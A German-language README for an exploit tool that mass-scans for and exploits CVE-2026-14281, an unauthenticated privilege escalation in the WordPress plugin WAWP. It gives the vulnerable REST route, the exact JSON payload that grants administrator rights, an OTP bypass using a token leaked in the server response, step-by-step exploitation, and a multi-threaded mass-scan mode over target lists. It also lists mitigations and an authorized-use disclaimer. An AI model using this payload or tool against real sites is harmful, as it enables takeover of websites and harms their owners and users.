LANGZ Scanner + Exploit

Massenscanner + Single-Target-Exploit für CVE-2026-14281 — eine nicht authentifizierte Privilegienausweitung im WordPress-Plugin Automation Web Platform (WAWP) <= 4.8.6.

---

Was ist CVE-2026-14281?

Improper Privilege Management (CWE-269) im WordPress-Plugin Automation Web Platform (von 101gen). Betroffen sind Versionen <= 4.8.6.

Feld	Wert
CVE	CVE-2026-14281
Typ	Nicht authentifizierte Privilegienausweitung
CVSS	9.8 (KRITISCH)
Auth	Keine erforderlich
Betroffen	WAWP-Plugin <= 4.8.6

Ursache

Das Plugin stellt eine öffentliche REST-Route bereit:

POST /wp-json/wawp/v1/signup/<op>

Keine Berechtigungsprüfung. Der Handler kopiert vom Angreifer kontrollierte wawp_custom_fields in update_user_meta() — keine Allowlist. Der Angreifer setzt:

{
  "wawp_custom_fields": {
    "wp_capabilities": {"administrator": true},
    "wp_user_level": "10"
  }
}

Ergebnis: Das neue Konto erhält die Rolle Administrator.

Bonus: OTP-Bypass

Das OTP-Token (otp_transient) wird im Klartext im Response-Body zurückgegeben. Eine GET-Anfrage mit diesem Token markiert es als verifiziert — keine E-Mail/SMS erforderlich.

---

Auswirkung

• Vollständiger Admin-Zugriff auf WordPress
• Plugins & Themes installieren / entfernen
• Benutzer verwalten, Inhalte ändern
• Potenzielle RCE über Admin-Editoren

---

Exploit-Ablauf

1. POST-Payload an /wp-json/wawp/v1/signup/ mit wp_capabilities: administrator
2. OTP umgehen mithilfe des Klartext-Tokens aus der Antwort
3. Anmelden unter /wp-login.php mit den neuen Zugangsdaten
4. Bestätigen durch Aufruf von /wp-admin/users.php

---

Voraussetzungen

• Python 3.7+
• requests, urllib3

---

Installation

git clone https://github.com/yourname/langz-scanner.git
cd langz-scanner
pip install requests urllib3

---

Verwendung

python3 CVE-2026-14281.py

[1] Mass Scan        -> detect many targets, save vuln to txt
[2] Verify Single    -> exploit + confirm + auto cleanup
[0] Exit

Mass Scan: Eingabedatei mit Zielliste, Ausgabedatei (Standard vuln.txt), Thread-Anzahl (Standard 20).

Verify Single: YA eingeben, Ziel-URL angeben. Das Tool erstellt einen temporären Admin, verifiziert und räumt anschließend auf.

---

Ausgabe

vuln.txt enthält nur bestätigte verwundbare URLs, eine pro Zeile:

http://target1.com
https://target2.org

---

Gegenmaßnahmen

1. Aktualisieren Sie das Plugin über 4.8.6 hinaus
2. Falls kein Patch verfügbar: Plugin deaktivieren oder /wp-json/wawp/v1/signup/ blockieren
3. Prüfen Sie auf bösartige Admin-Konten
4. Rotieren Sie Zugangsdaten, falls kompromittiert

---

Haftungsausschluss

For AUTHORIZED SECURITY TESTING only.
Do not use against systems you don't own or have permission to test.
The developer assumes no responsibility for misuse.

---